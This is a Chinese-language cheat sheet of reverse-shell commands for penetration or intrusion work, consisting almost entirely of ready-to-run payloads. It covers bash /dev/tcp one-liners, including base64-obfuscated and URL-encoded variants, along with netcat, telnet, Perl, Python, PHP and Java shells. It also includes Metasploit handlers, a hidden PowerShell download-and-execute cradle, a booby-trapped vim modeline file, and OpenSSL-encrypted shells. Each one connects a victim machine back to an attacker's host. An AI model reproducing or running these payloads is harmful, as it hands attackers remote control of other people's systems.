常用反弹shell

Bash

部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口

```
# 经典
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
# 经典2
bash -c 'bash -i >& /dev/tcp/x.x.x.x/443 0>&1'
# 在webshell中，连接密码cmd
cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.16.8/443 0>%261'
# 利用nc
nc -e /bin/bash x.x.x.x 2333
# 利用exec
 exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/x.x.x.x/2333; sh <&196 >&196 2>&196
 # 加密
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
```

解决反弹shell切换用户的问题

su: must be run from a terminal

```
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

bash反弹shell时出现bash: no job control in this shell

原因是bash反弹没有加0>&1

正确：/bin/bash -i >& /dev/tcp/ip/1234 0>&1

uri编码后：

```
%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%33%2e%31%37%31%2f%31%32%33%34%20%30%3e%26%31
```

perl命令

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

Netcat反弹shell也是常用兵器,经典命令参数-e

```
nc -e /bin/sh x.x.x.x 2333
```

但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333
>/tmp/f
```

或者本地监听两个端口,通过管道,一处输入,一处输出

```
nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444
```

其他方式基本沿用以上思路，如将nc更换为telnet等

```
mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
```

Metasploit的payload也提供各种反弹脚本

```
msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 2333
msf exploit(handler) > exploit
```

离线安装nc

64位

```
http://vault.centos.org/6.6/os/x86_64/Packages/nc-1.84-22.el6.x86_64.rpm
```

32位

```
http://vault.centos.org/6.6/os/i386/Packages/nc-1.84-22.el6.i686.rpm
```

安装

```
rpm -iUv nc-1.84-22.el6.x86_64.rpm
```

JAVA:

```
Runtime r = Runtime.getRuntime();
String[] s = {"/bin/bash","-c","exec 5<>/dev/tcp/103.72.165.8/4444;cat <&
5 | while read line; do $line 2>&5 >&5; done"};
try {
 Process p = r.exec(s);
 p.waitFor();
} catch (Exception e) {
 e.printStackTrace();
}

```

python Linux Python2.7:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,soc
ket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0); os.dup
```

```
2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
```

PHP:

```
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&
3");'
```

利用powershell反弹shell到metasploit

一、使用msfvenom生成PS1文件

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.171 LPOR
T=1234 -f psh-reflection >1.ps1
```

二、开启msf监听：

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.171
msf exploit(handler) > set lport 1234
msf > run
```

启动apache2，并将1.ps1复制到/var/www/html/目录下，访问1.ps1存在。（kali：service apache2 start;cp 1.ps1 /var/www/html）

三、在目标机器执行cmd命令：

```
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebCl
ient).DownloadString('http://192.168.43.171/1.ps1');1.ps1"
```

vim任意代码执行漏洞反弹shell：

创建shell.txt，内容如下

```
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 192.16
8.43.171 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen f
dm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x
16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
```

侦听：9999端口

执行:

```
$ vim shell.txt
```

使用OpenSSL侦听端口接收反弹shell

Hacker:

生成证书：

```
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
```

侦听端口：

```
openssl s_server -quiet -key key.pem -cert cert.pem -port 1234
```

目标机器：

Linux下使用mkfifo进行反弹shell（必须支持openssl）：

```
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect x.x.x.x:1234 > /tmp/s; rm /tmp/s
```

Windows利用ssl反弹shell：

服务端要开启两个监听，因为以上命令会从 ip:port1 获取命令发送给 cmd.exe执行，然后把结果返回到 ip:port2，因此在本机需要启动两个 s_server

```
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
openssl s_server -quiet -key key.pem -cert cert.pem -port 3333
```

Windows下执行命令（需要支持openssl，官网：https://www.openssl.org/）：

```
openssl s_client -quiet -connect x.x.x.x:4444 | cmd.exe | openssl s_client -quiet -connect x.x.x.x:3333
```

在4444上执行命令，在3333查看结果。